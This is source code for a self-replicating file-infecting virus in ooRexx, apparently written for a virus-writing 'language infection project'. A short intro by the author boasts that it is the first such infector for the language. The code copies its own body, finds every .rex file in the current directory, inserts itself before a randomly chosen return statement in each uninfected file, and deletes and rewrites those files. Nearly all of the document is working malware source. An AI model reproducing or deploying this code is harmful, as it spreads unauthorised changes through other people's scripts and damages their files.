Written for the language infection project http://spth.virii.lu/LIP.html Language: ooRexx Author: Genetix Twitter: @kelsey_coe_ Virus: Basic EPO prepending to randomly selected return statement in procedures Crime: abusing stem variables!! Intro: ooRexx (open object Rexx) is a varient of the classic rexx scripting language originally developed for by IBM for IBM mainframe computers and now has compilers for other platforms like windows (ooRexx) A modernized version of this language. No file infectors exist yet, only the old christmas tree worm. I don't ever expect to see any more rexx viruses :p But now we can say it exists! /*VirRexx*/ PARSE SOURCE . . VINFO CurrDir = FILESPEC('D', VINFO|| FILESPEC('P', VINFO) vfile = VINFO vcode=.stream~new(vfile) vsource=vcode~makearray("line") vbc=0 DO iterate OVER vsource lines = iterate IF lines = '/*VirRexx*/' THEN beginRead=1 IF beginRead=1 THEN DO vbc+=1 vbody.vbc = lines END IF lines = '/*EOB*/' THEN beginRead=0 END vcode~close call SysFileTree CurrDir"*.rex", "file", "O" DO p=1 to file.0 count=0 i=0 present=0 file=.stream~new(file.p) hCode=file~makearray("line") file~close DO c OVER hCode count+=1 IF c='/*VirRexx*/' THEN present=1 ret = POS("return", c) IF ret > 0 THEN DO i+=1 x.i=count END END i=i+1 index=0 DO index = RANDOM(i) UNTIL index <> 0 END nC=0 vbc+=1 vbody.vbc="/*EOB*/" process_count=0 DO ilterate OVER hCode nC+=1 source=ilterate process_count+=1 IF process_count = value(x.index) THEN DO DO y=1 to vbc nC+=1 newCode.nC=vbody.y END END newCode.nC=source END IF present=0 THEN DO call SysFileDelete(file.p) fout=.stream~new(file.p) DO t=1 to nC fout~lineout(newCode.t) END fout~close END END /*EOB*/